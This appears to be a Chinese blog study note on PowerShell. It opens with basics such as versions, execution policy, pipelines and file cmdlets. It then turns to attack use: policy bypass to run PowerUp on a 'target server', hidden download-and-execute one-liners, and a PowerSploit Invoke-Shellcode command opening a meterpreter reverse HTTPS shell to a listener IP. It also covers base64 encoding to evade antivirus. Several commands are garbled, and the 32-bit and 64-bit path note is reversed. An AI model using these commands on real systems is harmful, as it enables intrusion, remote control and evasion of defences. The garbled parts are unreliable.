powershell学习
powershell基础
Windows Powershell是一种命令行外壳程序和脚本环境,内置在每个受支持的Windows版本中,为Windows命令行使用者和脚本编写者利用 .NET Framework 的强大功能提供了便利。只要可以在一台计算机上面执行代码,就可以将Powershell脚本(.ps1)下载到磁盘中执行(甚至无需将脚本文件写入到磁盘中)。
特点:
- 在win7以上版本默认安装
- 脚本可以在内存中运行,不需要写入磁盘
- 几乎不会触发杀毒软件
- 可以远程执行
- 很多工具是基于powershell开发
- cmd的运行通畅会被阻,powershell通常不会
- 使Windows脚本执行变得更容易
- 可用于管理活动目录
操作系统 | Powershell版本 | 是否可升级 |
---|---|---|
win7、win server 2008 | 2.0 | 可升级为3.0/4.0 |
win8、win server 2012 | 3.0 | 可升级为4.0 |
win8.1、win server 2012 R2 | 4.0 | 否 |
可以输入 Get-Host
或者 $PSVersionTable.PSVERSION
命令查看Powershell的版本
powershell基本概念
.ps1文件
一个powershell脚本其实就是一个简单的文本文件,其扩展名为.ps1
。
powershell脚本文件中包含一系列powershell命令,每个命令显示为单独的一行。
执行策略
为了防止使用者运行恶意脚本,powershell提供了一个执行策略,默认不能执行。
如果powershell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。
1 | Get-exccutionPolicy |
可以使用下面的cmdlet命令设置powershell的执行策略
1 | Set-ExecutionPolicy <policy name> |
运行脚本
要想运行一个powershell脚本,必须输入完整的路径和文件名。
若在同一目录下,./test.ps1
即可
管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用 |
连接
例:执行下面命令,让所有正在运行的,名字以字符 p 开头的程序停止运行
1 | get-process p* | stop-process |
powershell常用命令
基础知识
在powershell下,类似cmd命令的命令叫作cmdlet命令。二者命名规范一致,都采用“动词-名词”的形式,例如“New-Item”。动词一般为Add
,Get
,Remove
,Set
,New
等。
powershell命令不区分大小写。
以文件操作为例:
- 新建目录:
New-Item whitecellclub-ItemType Directory
- 新建文件:
New-Item light.txt-ItemType File
- 删除目录:
Remove-Item whitecellclub
- 显示文本内容:
Get-Content test.txt
- 设置文本内容:
Set-Content test.txt-Value "hello,world!"
- 追加内容:
Add-Content light.txt-Value "hahaha"
- 清除内容:
Clear-Content test.txt
常用命令
在Windows终端下输入 powershell
,进入powershell命令行环境。输入 help
显示帮助菜单
要想运行powershell脚本程序,必须使用管理员权限将策略从Restricted
改成Unrestricted
绕过本地权限并执行
将PowerUp.ps1上传到目标服务器。在命令行下执行如下命令,绕过安全策略,在目标服务器执行该脚本
1 | Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1 |
将同一个脚本上传到目标服务器中,在目标本地执行脚本文件
1 | powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}" |
- 从网站服务器中下载脚本,绕过本地权限并隐藏执行
1 | powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters] |
1 | powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.150.141 -Lport 80 |
- -ExecutionPolicy Bypass (-Exec Bypass):绕过执行安全策略。这个参数非常重要。在默认情况下,powershell的安全策略规定powershell不能运行命令和文件。
- -WindowStyle Hidden (-W Hidden):隐藏窗口
- -NonInteractive (-NonI):非交互模式。powershell不为用户提供交互式的提示
- -NoProfile (-NoP):powershell控制台不加载当前用户的配置文件
- -noexit:执行后不退出shell。这个参数在使用键盘记录等脚本时非常重要
- -NoLogo:启动不显示版权标志的powershell
使用base64对powershell命令进行编码
使用Base64对powershell命令进行编码的目的是混淆和压缩代码,从而避免脚本因为一些特殊字符被杀毒软件查杀。
可以使用python脚本对所有的powershell命令进行base64编码。python脚本
在使用ps_encoder.py进行文本转换时,转换的对象必须是文本文件,因此先把命令保存为文本文件。
1
echo "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode-Payload windows/meterpreter/reverse_https -Lhost 192.168.150.141 -Lport 80 -Force" >raw.txt
在远程主机上执行
1
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc base64编码
运行32位和64位powershell
一些powershell脚本只能在指定平台上运行。在64位的Windows操作系统中,存在两个版本的powershell,一个是x64,另一个是x86。这两个版本的执行策略不会相互影响,可以把它们看成两个独立的程序。x64版本的powershell的配置文件在 %windir%\syswow64\WindowsPowerShell\v1.0\
目录下。
运行32位Powershell脚本
1 | powershell.exe -NoP -NonI -W Hidden -Exec Bypass |
运行64位Powershell脚本
1 | %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass |